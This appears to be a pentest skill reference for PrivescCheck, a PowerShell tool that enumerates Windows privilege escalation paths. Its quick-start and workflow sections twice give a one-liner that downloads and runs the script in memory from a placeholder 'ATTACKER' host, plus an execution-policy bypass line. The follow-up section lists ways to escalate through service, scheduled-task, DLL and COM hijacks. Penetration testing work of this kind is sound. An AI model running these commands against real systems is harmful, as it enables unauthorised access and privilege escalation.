AeonDave PrivescCheck
PowerShell-native Windows privilege escalation enumeration with readable output and reporting support.
Why Use It Instead of WinPEAS
Use PrivescCheck when:
- a pure PowerShell workflow is preferable
- dropping EXEs is blocked or high-friction
- you want structured readable results and HTML reports
- you need a lower-friction alternative before noisier tooling
It complements winpeas; it does not replace it entirely.
Quick Start
# In-memory delivery
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER/PrivescCheck.ps1"); Invoke-PrivescCheck
# Thorough enumeration
Invoke-PrivescCheck -Extended
# HTML report
Invoke-PrivescCheck -Report privesc_report -Format HTML
# Local script execution
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
Enumeration Areas
| Category | What it enumerates |
|---|---|
| Services | Unquoted paths, weak DACLs, writable binaries |
| Scheduled Tasks | Writable task scripts, privileged task actions |
| Registry | AlwaysInstallElevated, autoruns, weak policy settings |
| Credentials | GPP remnants, stored credentials, autologon clues |
| Current User | Token privileges, group memberships, effective context |
| COM Objects | Hijackable registrations |
| DLL Hijacking | Search-order abuse opportunities |
Common Workflows
Quick low-noise triage
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER/PrivescCheck.ps1"); Invoke-PrivescCheck
# Triage services, tasks, registry, token privileges first
Full report for offline review
. .\PrivescCheck.ps1
Invoke-PrivescCheck -Extended -Report privesc_report -Format HTML
Pair with WinPEAS
1. Run PrivescCheck first for readable PS-native output
2. Validate high-confidence findings
3. Run WinPEAS if more breadth is needed
4. Build exploit chain from confirmed vector
Severity Triage
| Level | Meaning |
|---|---|
| Info | All findings including informational (default) |
| Low | Medium+ severity only |
| Medium | High severity focus |
High-Value Follow-Ups
- AlwaysInstallElevated → test MSI install path
- Weak service DACL → reconfigure or replace service path/binary
- Scheduled task script writable → replace payload/script target
- DLL hijack opportunity → verify load path and writable directory
- COM hijack → validate CLSID path write access before action
Relationship to Other Windows Skills
| Skill | Best use |
|---|---|
winpeas |
Broad, aggressive Windows privesc enumeration |
watson |
Patch/CVE-focused post-exploitation triage |
powerview |
AD privilege and domain attack-path discovery |
Resources
| File | When to load |
|---|---|
references/ps-opsec-and-reporting.md |
PowerShell-native delivery, report workflow, and when to prefer PrivescCheck over WinPEAS |